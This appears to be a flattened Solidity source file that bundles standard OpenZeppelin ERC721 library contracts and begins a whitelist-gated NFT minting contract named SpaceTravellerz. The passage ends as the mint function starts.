// SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/SpaceTravellerz.sol pragma solidity >=0.7.0 <0.9.0; contract SpaceTravellerz is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 3; uint256 public nftPerAddressLimit = 3; bool public paused = false; bool public revealed = false; bool public onlyWhitelisted = true; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { 